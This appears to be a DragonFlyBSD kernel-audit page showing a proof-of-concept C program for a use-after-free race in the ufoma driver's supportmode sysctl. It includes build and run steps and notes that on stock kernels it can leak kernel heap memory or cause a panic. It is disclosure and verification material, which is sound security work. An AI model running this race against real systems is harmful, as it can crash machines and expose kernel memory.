โฌข DragonFlyBSD Kernel Audit
DF-1043 / ufoma_uaf.c
โ† back to finding โ†“ download raw
/* SPDX-License-Identifier: BSD-2-Clause
 * DF-1043 PoC: ufoma sysctl sc_modetable use-after-free reader loop.
 *
 * Unprivileged process: tight sysctl read loop on dev.ufoma.N.supportmode.
 * A cooperating privileged trigger (root usbconfig detach, physical unplug,
 * or USB error forcing port reset) wins the race window between
 * kfree(sc_modetable) in ufoma_detach and device_sysctl_fini in newbus.
 *
 * On a DEBUG/INVARIANTS kernel with slab poisoning, bytes returned from the
 * sysctl during the race window will contain the poison value (commonly
 * 0xDE on FreeBSD/DragonFly debug builds) instead of valid mode strings โ€”
 * proof that the handler read freed memory.
 *
 * On a stock kernel, a successful race can cause:
 *   - kernel heap OOB read (info leak) if the slab was reused with a benign
 *     first byte, or
 *   - kernel panic if the slab's new first byte is >= 0x10 (forces the loop
 *     to read past the 2-252-byte allocation, often hitting an unmapped
 *     page).
 *
 * Build:  cc -o ufoma_uaf ufoma_uaf.c
 * Run:    ./ufoma_uaf /dev/ufoma0     # unprivileged user
 *         sudo usbconfig -d 0.1 detach  # separate shell, triggers the window
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv)
{
    const char *path = (argc > 1) ? argv[1] : "dev.ufoma.0.supportmode";
    size_t pathlen = strlen(path);
    char buf[256];
    size_t buflen;
    int hits = 0;

    printf("[+] racing sysctl %s\n", path);
    for (;;) {
        buflen = sizeof(buf);
        if (sysctlbyname(path, buf, &buflen, NULL, 0) != 0) {
            /* OID removed (device fully gone) โ€” exit or back off */
            usleep(1000);
            continue;
        }
        /* Look for slab poison (0xDE on debug builds) โ€” proof of UAF. */
        for (size_t i = 0; i < buflen; i++) {
            if ((unsigned char)buf[i] == 0xDE) {
                hits++;
                if (hits <= 5) {
                    printf("[!] suspected freed-memory byte (0xDE) "
                           "at offset %zu, total %d\n", i, hits);
                }
                break;
            }
        }
    }
    return 0;
}